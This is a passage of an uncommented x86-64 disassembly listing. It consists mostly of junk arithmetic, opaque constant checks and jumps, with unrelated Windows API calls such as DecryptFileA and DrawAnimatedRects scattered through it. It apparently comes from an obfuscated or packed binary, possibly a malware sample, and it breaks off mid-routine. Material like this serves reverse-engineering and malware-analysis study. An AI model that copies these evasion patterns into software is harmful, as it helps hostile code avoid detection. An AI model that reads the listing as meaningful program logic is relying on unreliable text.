mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
and edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
add eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
movzx eax, byte [rbp + 0x6b7]
lea edx, [rax + 0x6f]
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub eax, 0x4f
mov byte [rbp + 0x6b7], al
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x78ec]
and eax, edx
mov dword [rbp + 0x4b38], eax
cmp dword [rbp + 0x25544], 0xe4c0
jbe 0x140005d15
movzx eax, byte [rbp + 0x6b7]
cmp al, 0xf0
setae dl
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
cmp al, dl
jb 0x14015adb4
jmp 0x140006148
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
sub dword [rbp + 0x25560], 0x8e
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add eax, 0x56
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
sub edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x7280]
add rax, rdx
mov qword [rbp + 0x4bf8], rax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
cmp dword [rbp + 0x25560], 0x5450
ja 0x14000600a
lea rax, [rbp + 0x6b7]
mov qword [rbp + 0x24c60], rax
jmp 0x1400065ba
add dword [rbp + 0x254c4], 0xca
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x4b38], edx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
add edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
sub edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x1068]
or edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x6b7]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x3680]
movabs rdx, 0xe8dcf7bec352f6f2
add rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x3680]
movabs rdx, 0x16edc02fcc62eda4
add rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov dword [rbp + 0x78ec], edx
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
cmp dword [rbp + 0x254c4], 0x13634
jbe 0x14000616b
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
test eax, eax
je 0x1400065e7
cmp eax, 0x666b28e2
je 0x14015aca1
jmp 0x14015ad07
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub ecx, eax
cmp ecx, edx
jae 0x140006645
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov rcx, rax
call fcn.14015b610
jmp 0x1400067d3
lea rax, [rbp + 0x3680]
mov qword [rbp + 0xbc8], rax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
add edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
test eax, eax
je 0x14000668a
cmp eax, 0x5b1780a
je 0x1400067a7
jmp 0x1400067c9
lea rax, [rbp + 0x7280]
mov qword [rbp + 0x255d8], rax
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4bf8]
lea rcx, [rdx + rax]
mov rdx, qword [rbp + 0x6b30]
mov rax, qword [rbp + 0x7280]
imul rax, rdx
cmp rcx, rax
jne 0x14000679b
mov rax, qword [rbp + 0x254a0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsWindowUnicode]
call rax
mov dword [rbp + 0x24c88], eax
mov eax, dword [rbp + 0x1068]
cmp eax, 0x5bcf4a42
jne 0x140006768
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x25658]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
movabs rdx, 0x44332536ad719c3a
xor rax, rdx
mov qword [rbp + 0x3680], rax
jmp 0x14000679b
lea rcx, [rbp + 0x3310]
lea rdx, [rbp + 0x3310]
mov rax, qword [rbp + 0x24c68]
mov r9, rcx
mov r8, rdx
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawAnimatedRects]
call rax
mov dword [rbp + 0x24c5c], eax
nop
mov dword [rbp + 0x25554], 0x498b
jmp 0x1400067c9
mov rax, qword [rbp + 0x25658]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
nop
mov dword [rbp + 0x2567c], 0xe944
mov byte [rbp + 0x3a0b], 6
jmp 0x140006c1b
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
movabs rdx, 0x131f4825f4a5ca0e
and rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x3a0b]
add eax, 0x3d
mov byte [rbp + 0x3a0b], al
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
movzx edx, byte [rbp + 0x6b7]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
movabs rcx, 0x4e4e426286ba9c1e
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x7280]
mov ecx, edx
shr rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
or edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x2af0]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
and edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x66d0], edx
add dword [rbp + 0x2567c], 0xb8
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
mov qword [rbp + 0x4bf8], rdx
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
movabs rcx, 0x9b3d9667c68a14bd
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
movzx edx, byte [rbp + 0x6b7]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
sub rdx, rax
mov qword [rbp + 0x4bf8], rdx
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
sar rdx, 0x35
mov qword [rax], rdx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
xor edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
or eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
mov ecx, eax
mov rax, qword [rbp + 0xbc8]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x66d0], eax
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x7280]
sub rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x255f0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x66d0], eax
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
add eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
movabs rcx, 0x5ab4a54f610aa7f2
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0xbc8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x2567c], 0xefbc
jbe 0x1400067df
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
cmp eax, 0x4d
jne 0x140006d32
movzx eax, byte [rbp + 0x3a0b]
cmp al, 0x5f
jle 0x140006cb7
mov rax, qword [rbp + 0x24c50]
mov edx, 0xf7
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileA]
call rax
mov dword [rbp + 0x24c88], eax
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x7280]
mov ecx, edx
shr rax, cl
mov qword [rbp + 0x4bf8], rax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
lea rax, [rbp + 0x3840]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_PrintDlgExA]
call rax
mov dword [rbp + 0x24c4c], eax
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x4b38]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x6b7], al
mov rax, qword [rbp + 0x24c68]
mov r9d, 0xc5
mov r8d, 0x84
mov edx, 0xd1
mov rcx, rax
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rbp + 0x2d70], rax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
jmp 0x140006e70
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
test eax, eax
jne 0x140006e52
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
cmp eax, 0xb26a4a8
jne 0x140006df5
movzx eax, byte [rbp + 0x3a0b]
sub eax, 0x61
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x1988]
lea rdx, [rbp + 0x2650]
mov r9, rdx
mov r8d, 0
mov edx, 0x12
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMenuItemInfoA]
call rax
mov dword [rbp + 0x24c5c], eax
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx r9d, al
movzx eax, byte [rbp + 0x6b7]
movzx r8d, al
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x140006e50
lea rax, [rbp + 0x7280]
mov qword [rbp + 0x255d0], rax
lea rax, [rbp + 0x3680]
mov qword [rbp + 0x25510], rax
lea rax, [rbp + 0x1068]
mov qword [rbp + 0x1540], rax
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov dword [rbp + 0x255b4], 0xae36
mov word [rbp + 0x1a8c], 0x41d
nop
jmp 0x140006e6f
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x6b7], al
nop
nop
jmp 0x140006f8f
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov ecx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
sub edx, eax
mov dword [rbp + 0x4b38], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
add rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
add rax, rdx
mov qword [rbp + 0x2af0], rax
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x66d0], eax
add dword [rbp + 0x254e4], 0x39
movzx eax, word [rbp + 0x1a8c]
xor ax, 0x691
mov word [rbp + 0x1a8c], ax
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x6b7], al
cmp dword [rbp + 0x254e4], 0x967
jbe 0x140006e75
movzx eax, byte [rbp + 0x3a0b]
add eax, 0x1e
mov byte [rbp + 0x3a0b], al
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
mov rax, qword [rbp + 0x25658]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x255b4], 0x96
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
and rax, rdx
mov qword [rbp + 0x6b30], rax
movzx edx, byte [rbp + 0x6b7]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
add edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x4bf8]
or rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x6b7]
movzx edx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x4b38]
xor edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
